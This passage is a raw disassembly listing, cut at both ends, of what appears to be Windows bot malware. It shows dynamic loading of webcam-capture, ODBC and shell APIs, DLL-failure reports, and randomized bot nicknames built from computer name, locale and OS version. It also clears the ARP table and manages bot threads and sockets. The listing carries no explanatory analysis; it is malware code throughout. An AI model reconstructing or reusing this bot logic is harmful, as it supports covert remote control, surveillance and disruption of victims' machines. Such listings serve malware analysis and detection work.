cmp dword_4CDCCC, ebx
jz short loc_40A595
cmp eax, ebx
jnz short loc_40A59F
jmp short loc_40A595
; ---------------------------------------------------------------------------
loc_40A58A: ; CODE XREF: sub_409A1D+B19j
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD74, eax
loc_40A595: ; CODE XREF: sub_409A1D+B55j
; sub_409A1D+B5Dj ...
mov dword_4CDD70, 1
loc_40A59F: ; CODE XREF: sub_409A1D+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A5D4
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CDBD0, eax
call esi ; GetProcAddress
cmp dword_4CDBD0, ebx
mov dword_4CDCD8, eax
jz short loc_40A5DF
cmp eax, ebx
jnz short loc_40A5E9
jmp short loc_40A5DF
; ---------------------------------------------------------------------------
loc_40A5D4: ; CODE XREF: sub_409A1D+B8Dj
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD7C, eax
loc_40A5DF: ; CODE XREF: sub_409A1D+BAFj
; sub_409A1D+BB5j
mov dword_4CDD78, 1
loc_40A5E9: ; CODE XREF: sub_409A1D+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A672
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CDCA0, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CDCEC, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CDC28, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CDBE0, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CDC80, eax
call esi ; GetProcAddress
cmp dword_4CDCA0, ebx
mov dword_4CDBF0, eax
jz short loc_40A67D
cmp dword_4CDCEC, ebx
jz short loc_40A67D
cmp dword_4CDC28, ebx
jz short loc_40A67D
cmp dword_4CDBE0, ebx
jz short loc_40A67D
cmp dword_4CDC80, ebx
jz short loc_40A67D
cmp eax, ebx
jnz short loc_40A687
jmp short loc_40A67D
; ---------------------------------------------------------------------------
loc_40A672: ; CODE XREF: sub_409A1D+BD7j
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD84, eax
loc_40A67D: ; CODE XREF: sub_409A1D+C2Dj
; sub_409A1D+C35j ...
mov dword_4CDD80, 1
loc_40A687: ; CODE XREF: sub_409A1D+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A6BC
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CDBB4, eax
call esi ; GetProcAddress
cmp dword_4CDBB4, ebx
mov dword_4CDC94, eax
jz short loc_40A6C7
cmp eax, ebx
jnz short loc_40A6D1
jmp short loc_40A6C7
; ---------------------------------------------------------------------------
loc_40A6BC: ; CODE XREF: sub_409A1D+C75j
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD8C, eax
loc_40A6C7: ; CODE XREF: sub_409A1D+C97j
; sub_409A1D+C9Dj
mov dword_4CDD88, 1
loc_40A6D1: ; CODE XREF: sub_409A1D+C9Bj
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_409A1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6D9 proc near ; CODE XREF: sub_401B66+249Ep
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4CDD20, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A721
push dword_4CDD24
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A721: ; CODE XREF: sub_40A6D9+1Aj
cmp dword_4CDD28, esi
jz short loc_40A755
push dword_4CDD2C
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A755: ; CODE XREF: sub_40A6D9+4Ej
cmp dword_4CDD30, esi
jz short loc_40A789
push dword_4CDD34
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A789: ; CODE XREF: sub_40A6D9+82j
cmp dword_4CDD38, esi
jz short loc_40A7BD
push dword_4CDD3C
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A7BD: ; CODE XREF: sub_40A6D9+B6j
cmp dword_4CDD40, esi
jz short loc_40A7F1
push dword_4CDD44
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A7F1: ; CODE XREF: sub_40A6D9+EAj
cmp dword_4CDD48, esi
jz short loc_40A825
push dword_4CDD4C
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A825: ; CODE XREF: sub_40A6D9+11Ej
cmp dword_4CDD50, esi
jz short loc_40A859
push dword_4CDD54
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A859: ; CODE XREF: sub_40A6D9+152j
cmp dword_4CDD58, esi
jz short loc_40A88D
push dword_4CDD5C
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A88D: ; CODE XREF: sub_40A6D9+186j
cmp dword_4CDD60, esi
jz short loc_40A8C1
push dword_4CDD64
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A8C1: ; CODE XREF: sub_40A6D9+1BAj
cmp dword_4CDD68, esi
jz short loc_40A8F5
push dword_4CDD6C
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A8F5: ; CODE XREF: sub_40A6D9+1EEj
cmp dword_4CDD70, esi
jz short loc_40A929
push dword_4CDD74
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A929: ; CODE XREF: sub_40A6D9+222j
cmp dword_4CDD78, esi
jz short loc_40A95D
push dword_4CDD7C
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A95D: ; CODE XREF: sub_40A6D9+256j
cmp dword_4CDD80, esi
jz short loc_40A991
push dword_4CDD84
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A991: ; CODE XREF: sub_40A6D9+28Aj
cmp dword_4CDD88, esi
jz short loc_40A9C5
push dword_4CDD8C
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41C056
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 20h
loc_40A9C5: ; CODE XREF: sub_40A6D9+2BEj
lea eax, [ebp+var_200]
push offset unk_42E9CC
push eax
call sub_41C056
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40A9F2
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_40A9F2: ; CODE XREF: sub_40A6D9+302j
lea eax, [ebp+var_200]
push eax
call sub_4157A5
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A6D9 endp
; =============== S U B R O U T I N E =======================================
sub_40AA04 proc near ; CODE XREF: sub_401891:loc_4018E0p
; sub_401B66+5BC0p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CDCA4 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40AA2C
push [esp+arg_0]
call dword_4CDCE8 ; gethostbyname
test eax, eax
jnz short loc_40AA25
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AA25: ; CODE XREF: sub_40AA04+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AA2C: ; CODE XREF: sub_40AA04+Dj
retn
sub_40AA04 endp
; =============== S U B R O U T I N E =======================================
sub_40AA2D proc near ; CODE XREF: sub_401891+D6p
mov ecx, dword_4CDB80
xor eax, eax
test ecx, ecx
jz short locret_40AA3B
jmp ecx
; ---------------------------------------------------------------------------
locret_40AA3B: ; CODE XREF: sub_40AA2D+Aj
retn
sub_40AA2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA3C proc near ; CODE XREF: sub_401B66:loc_403F23p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CDCE0 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_40AAC3
sub ecx, 32h
jz loc_40AB0D
sub ecx, 48h
jz short loc_40AA98
sub ecx, 6Eh
jz short loc_40AA91
loc_40AA7A: ; CODE XREF: sub_40AA3C+85j
push eax
lea eax, [ebp+var_88]
push offset unk_42EBE0
push eax
call sub_41C056
add esp, 0Ch
jmp short loc_40AAEE
; ---------------------------------------------------------------------------
loc_40AA91: ; CODE XREF: sub_40AA3C+3Cj
push offset unk_42EBBC
jmp short loc_40AAE0
; ---------------------------------------------------------------------------
loc_40AA98: ; CODE XREF: sub_40AA3C+37j
push [ebp+var_8]
call sub_41BCA5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BD60
add esp, 10h
cmp esi, edi
jz short loc_40AADB
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CDCE0 ; GetIpNetTable
cmp eax, edi
jnz short loc_40AA7A
loc_40AAC3: ; CODE XREF: sub_40AA3C+29j
cmp [esi], edi
jbe short loc_40AAFE
lea ebx, [esi+4]
loc_40AACA: ; CODE XREF: sub_40AA3C+9Bj
push ebx
call dword_4CDCDC ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AACA
jmp short loc_40AAFE
; ---------------------------------------------------------------------------
loc_40AADB: ; CODE XREF: sub_40AA3C+75j
push offset unk_42EB8C
loc_40AAE0: ; CODE XREF: sub_40AA3C+5Aj
; sub_40AA3C+D6j
lea eax, [ebp+var_88]
push eax
call sub_41C056
pop ecx
pop ecx
loc_40AAEE: ; CODE XREF: sub_40AA3C+53j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4157A5
pop ecx
loc_40AAFE: ; CODE XREF: sub_40AA3C+89j
; sub_40AA3C+9Dj
push esi
call sub_41B881
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AB0D: ; CODE XREF: sub_40AA3C+2Ej
push offset unk_42EB5C
jmp short loc_40AAE0
sub_40AA3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB14 proc near ; CODE XREF: sub_401B66+2164p
; sub_401B66+229Bp ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CDC08 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CDD90
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41C056
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AB14 endp
; =============== S U B R O U T I N E =======================================
sub_40AB6D proc near ; CODE XREF: sub_413133+24Cp
; sub_413133+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_40AB98
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_40AB8B: ; CODE XREF: sub_40AB6D+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_40AB8B
pop edi
jmp short loc_40AB9C
; ---------------------------------------------------------------------------
loc_40AB98: ; CODE XREF: sub_40AB6D+Aj
mov esi, [esp+4+arg_0]
loc_40AB9C: ; CODE XREF: sub_40AB6D+29j
test ecx, ecx
jz short loc_40ABA5
movzx eax, byte ptr [esi]
add edx, eax
loc_40ABA5: ; CODE XREF: sub_40AB6D+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AB6D endp
; =============== S U B R O U T I N E =======================================
sub_40ABBD proc near ; CODE XREF: sub_40AF23+4Ap
; DATA XREF: .packed:off_42EC28o
arg_0 = dword ptr 4
push esi
push edi
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
call sub_41C0B2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push off_42EC90[edx*4]
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41C150
xor esi, esi
add esp, 14h
cmp dword_42A094, esi
jle short loc_40AC24
loc_40ABFE: ; CODE XREF: sub_40ABBD+65j
call sub_41C0B2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB1C
push 1Ch
push edi
call sub_41C150
add esp, 14h
inc esi
cmp esi, dword_42A094
jl short loc_40ABFE
loc_40AC24: ; CODE XREF: sub_40ABBD+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40ABBD endp
; ---------------------------------------------------------------------------
push esi
push edi
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
mov edi, [esp+10h]
mov dword ptr [esp], offset aNt_0 ; "NT"
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41C150
xor esi, esi
add esp, 10h
cmp dword_42A094, esi
jle short loc_40AC82
loc_40AC5C: ; CODE XREF: .packed:0040AC80j
call sub_41C0B2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB1C
push 1Ch
push edi
call sub_41C150
add esp, 14h
inc esi
cmp esi, dword_42A094
jl short loc_40AC5C
loc_40AC82: ; CODE XREF: .packed:0040AC5Aj
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AC87 proc near ; CODE XREF: sub_401B66+68D6p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
call sub_41C0B2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42A094
test esi, esi
jle short loc_40ACCA
loc_40ACB4: ; CODE XREF: sub_40AC87+41j
call sub_41C0B2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ACB4
loc_40ACCA: ; CODE XREF: sub_40AC87+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AC87 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
lea eax, [ebp-4]
mov esi, offset aPc ; "PC"
push eax
push esi
call dword_4280C0 ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C150
xor esi, esi
add esp, 0Ch
cmp dword_42A094, esi
jle short loc_40AD3D
loc_40AD17: ; CODE XREF: .packed:0040AD3Bj
call sub_41C0B2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB1C
push 1Ch
push edi
call sub_41C150
add esp, 14h
inc esi
cmp esi, dword_42A094
jl short loc_40AD17
loc_40AD3D: ; CODE XREF: .packed:0040AD15j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_4280C4 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_3 ; "%s|"
push 1Ch
push edi
call sub_41C150
xor esi, esi
add esp, 10h
cmp dword_42A094, esi
jle short loc_40ADB2
loc_40AD8C: ; CODE XREF: .packed:0040ADB0j
call sub_41C0B2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB1C
push 1Ch
push edi
call sub_41C150
add esp, 14h
inc esi
cmp esi, dword_42A094
jl short loc_40AD8C
loc_40ADB2: ; CODE XREF: .packed:0040AD8Aj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43FE14
mov dword ptr [ebp-94h], 94h
call dword_4280C8 ; GetVersionExA
call dword_4280A8 ; GetTickCount
push eax
call sub_41C0A8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AE3C
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AE1C
cmp dword ptr [ebp-84h], 1
jnz short loc_40AE0C
mov esi, offset a95 ; "95"
loc_40AE0C: ; CODE XREF: .packed:0040AE05j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AE78
mov esi, offset aNt_1 ; "NT"
jmp short loc_40AE78
; ---------------------------------------------------------------------------
loc_40AE1C: ; CODE XREF: .packed:0040ADFCj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AE2C
mov esi, offset a98 ; "98"
jmp short loc_40AE78
; ---------------------------------------------------------------------------
loc_40AE2C: ; CODE XREF: .packed:0040AE23j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AE73
mov esi, offset aMe_0 ; "ME"
jmp short loc_40AE78
; ---------------------------------------------------------------------------
loc_40AE3C: ; CODE XREF: .packed:0040ADF3j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AE73
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AE55
mov esi, offset a2k ; "2K"
jmp short loc_40AE78
; ---------------------------------------------------------------------------
loc_40AE55: ; CODE XREF: .packed:0040AE4Cj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AE65
mov esi, offset aXp_0 ; "XP"
jmp short loc_40AE78
; ---------------------------------------------------------------------------
loc_40AE65: ; CODE XREF: .packed:0040AE5Cj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40AE78
loc_40AE73: ; CODE XREF: .packed:0040AE33j
; .packed:0040AE43j
mov esi, offset a??? ; "???"
loc_40AE78: ; CODE XREF: .packed:0040AE13j
; .packed:0040AE1Aj ...
mov edi, [ebp+8]
push esi
push offset aS_4 ; "[%s]|"
push 1Ch
push edi
call sub_41C150
xor esi, esi
add esp, 10h
cmp dword_42A094, esi
jle short loc_40AEBC
loc_40AE96: ; CODE XREF: .packed:0040AEBAj
call sub_41C0B2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42CB1C
push 1Ch
push edi
call sub_41C150
add esp, 14h
inc esi
cmp esi, dword_42A094
jl short loc_40AE96
loc_40AEBC: ; CODE XREF: .packed:0040AE94j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEC2 proc near ; CODE XREF: sub_40AF23+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
call dword_4280A8 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
cmp eax, 64h
jbe short loc_40AEF0
push eax
push offset aD_2 ; "[%d]"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C150
add esp, 10h
loc_40AEF0: ; CODE XREF: sub_40AEC2+18j
lea eax, [ebp+var_1C]
push eax
call sub_41B7B0
cmp eax, 2
pop ecx
jbe short loc_40AF1E
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C9B0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BDC0
add esp, 18h
loc_40AF1E: ; CODE XREF: sub_40AEC2+3Bj
mov eax, [ebp+arg_0]
leave
retn
sub_40AEC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF23 proc near ; CODE XREF: sub_401891+7Fp
; sub_4019F7+43p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_40AF2C: ; CODE XREF: sub_40AF23+40j
cmp [ebp+arg_C], 0
jz short loc_40AF4A
lea eax, aReal[esi] ; "real"
push eax
push [ebp+arg_C]
call sub_41C840
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AF58
; ---------------------------------------------------------------------------
loc_40AF4A: ; CODE XREF: sub_40AF23+Dj
mov ecx, dword_42EC24[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AF58: ; CODE XREF: sub_40AF23+25j
test eax, eax
jnz short loc_40AF67
add esi, 14h
inc edi
cmp esi, 78h
jb short loc_40AF2C
jmp short loc_40AF75
; ---------------------------------------------------------------------------
loc_40AF67: ; CODE XREF: sub_40AF23+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42EC28[eax*4]
pop ecx
loc_40AF75: ; CODE XREF: sub_40AF23+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AF88
push [ebp+arg_0]
call sub_40AEC2
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AF88: ; CODE XREF: sub_40AF23+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AF23 endp
; =============== S U B R O U T I N E =======================================
sub_40AF8D proc near ; CODE XREF: sub_401252:loc_4015BBp
; sub_401252+3A5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_440998
loc_40AF95: ; CODE XREF: sub_40AF8D+18j
cmp byte ptr [eax], 0
jz short loc_40AFA9
add eax, 234h
inc edi
cmp eax, offset dword_4CD998
jl short loc_40AF95
jmp short loc_40AFF4
; ---------------------------------------------------------------------------
loc_40AFA9: ; CODE XREF: sub_40AF8D+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_440998[esi]
push eax
call sub_41BDC0
mov eax, [esp+14h+arg_4]
and dword_440B9C[esi], 0
and dword_440BA0[esi], 0
mov dword_440B98[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and byte_440BB0[esi], 0
mov dword_440BA4[esi], eax
pop esi
loc_40AFF4: ; CODE XREF: sub_40AF8D+1Aj
mov eax, edi
pop edi
retn
sub_40AF8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFF8 proc near ; DATA XREF: sub_401B66+28F7o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40B04A
push [ebp+var_14]
call sub_40B2A3
add esp, 14h
push 0
call dword_4280CC ; ExitThread
pop edi
pop esi
sub_40AFF8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B04A proc near ; CODE XREF: sub_40AFF8+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_432A14
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
xor edi, edi
mov esi, offset dword_440998
loc_40B074: ; CODE XREF: sub_40B04A+78j
cmp byte ptr [esi], 0
jz short loc_40B0B5
cmp [ebp+arg_C], 0
jnz short loc_40B088
cmp dword ptr [esi+204h], 0
jnz short loc_40B0B5
loc_40B088: ; CODE XREF: sub_40B04A+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_41C056
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 24h
loc_40B0B5: ; CODE XREF: sub_40B04A+2Dj
; sub_40B04A+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4CD998
jl short loc_40B074
pop edi
pop esi
leave
retn
sub_40B04A endp
; =============== S U B R O U T I N E =======================================
sub_40B0C8 proc near ; CODE XREF: sub_401B66+7A3Fp
; sub_40B150+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B14A
cmp esi, 400h
jge short loc_40B14A
imul esi, 234h
push edi
push ebx
lea edi, dword_440BAC[esi]
push dword ptr [edi]
call dword_4280AC ; TerminateThread
cmp [edi], ebx
jz short loc_40B0FA
inc ebp
loc_40B0FA: ; CODE XREF: sub_40B0C8+2Fj
mov [edi], ebx
lea edi, dword_440BA0[esi]
mov dword_440B98[esi], ebx
mov dword_440B9C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B11B
push eax
call sub_41A178
pop ecx
loc_40B11B: ; CODE XREF: sub_40B0C8+4Aj
mov [edi], ebx
lea edi, dword_440BA4[esi]
mov byte ptr dword_440998[esi], bl
mov byte_440BB0[esi], bl
push dword ptr [edi]
call dword_4CDCFC ; closesocket
lea esi, dword_440BA8[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CDCFC ; closesocket
mov [esi], ebx
pop edi
loc_40B14A: ; CODE XREF: sub_40B0C8+Dj
; sub_40B0C8+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B0C8 endp
; =============== S U B R O U T I N E =======================================
sub_40B150 proc near ; CODE XREF: sub_401132+18p
; sub_401252:loc_40187Dp ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_440998
loc_40B15C: ; CODE XREF: sub_40B150+2Aj
cmp byte ptr [esi], 0
jz short loc_40B16D
push edi
call sub_40B0C8
test eax, eax
pop ecx
